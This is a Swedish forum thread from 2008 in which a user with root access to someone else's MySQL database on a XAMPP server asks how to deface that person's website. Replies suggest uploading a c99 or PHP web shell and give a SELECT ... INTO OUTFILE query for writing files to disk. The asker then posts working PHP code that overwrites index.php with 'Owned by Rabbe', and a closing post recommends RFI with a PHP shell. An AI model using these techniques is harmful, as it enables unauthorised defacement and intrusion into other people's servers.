2008-11-14, 21:46
  #1
Medlem
Rabbelitos avatar
Säg att jag har root-access till en MYSQL databas som sitter ihop med en hemsida, ansluter till den via PhpMyAdmin. Vill lägga in en egen index.html i hans htdocs mapp (ja, det är xampp) där det står typ "website hacked by rabbe huahau .l." eller nåt, finns det något sätt att göra detta genom mysql? :P

Rabbe~
Citera
2008-11-14, 22:10
  #2
Bannlyst
Inte hundra %, mobba mig inte om jag är helt ute och cyklar.

SQL Query UPDATE table?
Citera
2008-11-14, 22:13
  #3
Medlem
Rabbelitos avatar
Citat:
Ursprungligen postat av Quit
Inte hundra %, mobba mig inte om jag är helt ute och cyklar.

SQL Query UPDATE table?

Förstår inte hur detta skulle kunna ändra filen index.html i htdocs mappen? :P
Citera
2008-11-14, 22:30
  #4
Medlem
jont3hs avatar
Kan vara helt ute och cykla, men det finns sätt få in ett c99 eller nåt liknade. Om du får in det kan du ändra det mesta, googla lite så hittar du den informationen.
Citera
2008-11-14, 22:41
  #5
Medlem
XMaths avatar
SELECT * INTO OUTFILE '/tmp/haxx.txt' FROM Tabell;
Citera
2008-11-14, 23:48
  #6
Medlem
Rabbelitos avatar
XMath, det låter vettigt. Ska testa sen tack.
Citera
2008-11-15, 00:51
  #7
Medlem
Rabbelitos avatar
Kan tydligen inte ändra min post så får göra en ny, detta funkar finfint, men ett problem..

#1086 - File 'C:\xampp\htdocs\old\index.php' already exists

Kan man få den att skriva över en fil som redan finns? Eller få den att ta bort en fil så jag kan lägga in min?

Edit: Eller byta namn på filen som finns ^^
Citera
2008-11-15, 01:15
  #8
Medlem
h4cked4lifes avatar
undrar detsamma
Citera
2008-11-15, 01:54
  #9
Medlem
lägg in ett php shell och flytta/ta bort den?
Citera
2008-11-15, 02:08
  #10
Medlem
Rabbelitos avatar
Inte fattat detdär med shell än, men har löst mitt problem

<?php

$filename = "index.php";

$output = "Owned by Rabbe";

$filehandle = fopen($filename, 'w');

fwrite($filehandle, $output);

fclose($filehandle);

?>
Citera
2008-11-15, 10:34
  #11
Bannlyst
Om ni menar RFI med PHPShellet, så har du inte mycket att fatta.
Det är väll den enklaste sättet som finns att hacka nån sida med.
Citera

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in